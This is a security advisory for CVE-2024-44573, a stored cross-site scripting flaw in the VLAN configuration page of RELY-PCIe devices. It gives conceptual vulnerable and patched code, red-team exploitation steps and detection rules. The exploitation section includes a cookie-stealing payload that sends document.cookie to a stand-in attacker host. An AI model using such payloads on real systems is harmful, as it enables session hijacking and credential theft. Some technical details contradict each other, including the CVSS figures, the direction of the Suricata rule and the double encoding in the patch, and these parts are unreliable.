CVE-2024-44573

Executive Summary

CVE-2024-44573 is a stored cross-site scripting (XSS) vulnerability identified in the VLAN configuration interface of RELY-PCIe devices running versions v22.2.1 through v23.1.0. This flaw allows an authenticated attacker with network access to inject arbitrary web scripts or HTML via a crafted payload into the VLAN configuration fields. When the payload is stored and later rendered by other administrators or users viewing the configuration, it executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the device’s management interface. The vendor has not released a patch, and no public proof-of-concept or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using these devices in sensitive network segments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No vector provided)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (authenticated user)
• User Interaction (UI): Required (victim must view the VLAN configuration page)
• Scope (S): Changed (XSS can impact other resources)
• Confidentiality (C): Low (potential data exfiltration)
• Integrity (I): Low (script injection)
• Availability (A): None

Threat Level: Medium. While the CVSS score is unknown, the nature of stored XSS in a network device’s management interface poses a moderate risk, especially in environments where VLAN configurations are frequently reviewed by multiple administrators.

Deep Dive & Mechanics

The vulnerability resides in the VLAN configuration module of RELY-PCIe devices. The application fails to properly sanitize user-supplied input when creating or editing VLAN entries. An attacker with administrative or operator-level access can inject malicious JavaScript or HTML into fields such as VLAN name, description, or other text-based parameters. This input is stored in the device’s configuration database and later rendered without proper encoding in the web-based management interface.

When a legitimate administrator views the VLAN configuration page, the injected script executes in their browser. This can lead to:

• Session cookie theft (if HttpOnly flag is not set)
• Redirection to malicious sites
• Defacement of the management interface
• Execution of further actions on behalf of the victim (e.g., modifying other configurations)

The attack does not require any special privileges beyond those needed to access the VLAN configuration page. The stored nature of the XSS means the payload persists across sessions and can affect multiple users.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Example of unsanitized input handling
$vlan_name = $_POST['vlan_name'];
$query = "INSERT INTO vlan_config (name) VALUES ('$vlan_name')";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<td>" . $vlan_name . "</td>";

Patched Code (Conceptual):

// Proper input sanitization and output encoding
$vlan_name = htmlspecialchars($_POST['vlan_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO vlan_config (name) VALUES (?)";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "s", $vlan_name);
mysqli_stmt_execute($stmt);
// When displaying:
echo "<td>" . htmlspecialchars($vlan_name, ENT_QUOTES, 'UTF-8') . "</td>";

The patched version uses parameterized queries to prevent SQL injection (though not the primary issue) and applies htmlspecialchars() for output encoding to neutralize any injected HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a RELY-PCIe device with firmware v22.2.1 to v23.1.0 in an isolated network.
2. Obtain valid credentials for a user with VLAN configuration privileges.
3. Access the web management interface.

Exploitation Steps:

1. Navigate to the VLAN configuration section.
2. In a text field (e.g., VLAN name), inject a payload such as:

   <script>alert('XSS')</script>
   

   Or a more malicious payload:

   <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
   

3. Save the configuration.
4. Wait for an administrator to view the VLAN list. The payload executes in their browser.

Note: No public exploit code is available. The above is a generic XSS exploitation technique.

Blue Team

Detection:

• Monitor for unusual input patterns in VLAN configuration fields (e.g., <script>, onerror, javascript:).
• Review web server logs for requests containing HTML/JavaScript tags in POST parameters.
• Use a web application firewall (WAF) to block common XSS payloads.

Mitigation:

• Restrict VLAN configuration access to trusted administrators only.
• Implement Content Security Policy (CSP) headers to limit script execution.
• Apply input validation and output encoding as described in the patched code section.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the RELY-PCIe device to unknown external IPs (e.g., attacker-controlled servers).
  • Unusual POST requests to /vlan_config or similar endpoints containing HTML/JavaScript.
• Host IOCs:
  • Presence of unexpected <script> or <img> tags in VLAN configuration database entries.
  • Modified VLAN configuration files containing malicious code.
• Log IOCs:
  • Web server logs showing repeated attempts to inject XSS payloads.
  • Error logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2024_44573_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting RELY-PCIe VLAN config"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44573"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in RELY-PCIe VLAN Configuration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS attempts in VLAN configuration fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/vlan_config'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in VLAN descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44573 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/vlan_config"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the VLAN configuration interface to a minimal set of trusted administrators.
   • Implement a web application firewall (WAF) with rules to block common XSS payloads.
   • Monitor logs for suspicious activity related to VLAN configuration changes.

2. Long-term Fixes:

   • Apply input validation and output encoding to all user-supplied data in the VLAN configuration module.
   • Use parameterized queries or prepared statements for database interactions.
   • Set the HttpOnly and Secure flags on session cookies to mitigate cookie theft.
   • Implement Content Security Policy (CSP) headers to restrict script execution.

3. Vendor Communication:

   • Contact RELY support for an official patch or firmware update.
   • If no patch is available, consider isolating the device from untrusted networks or replacing it with a patched alternative.

Valters IT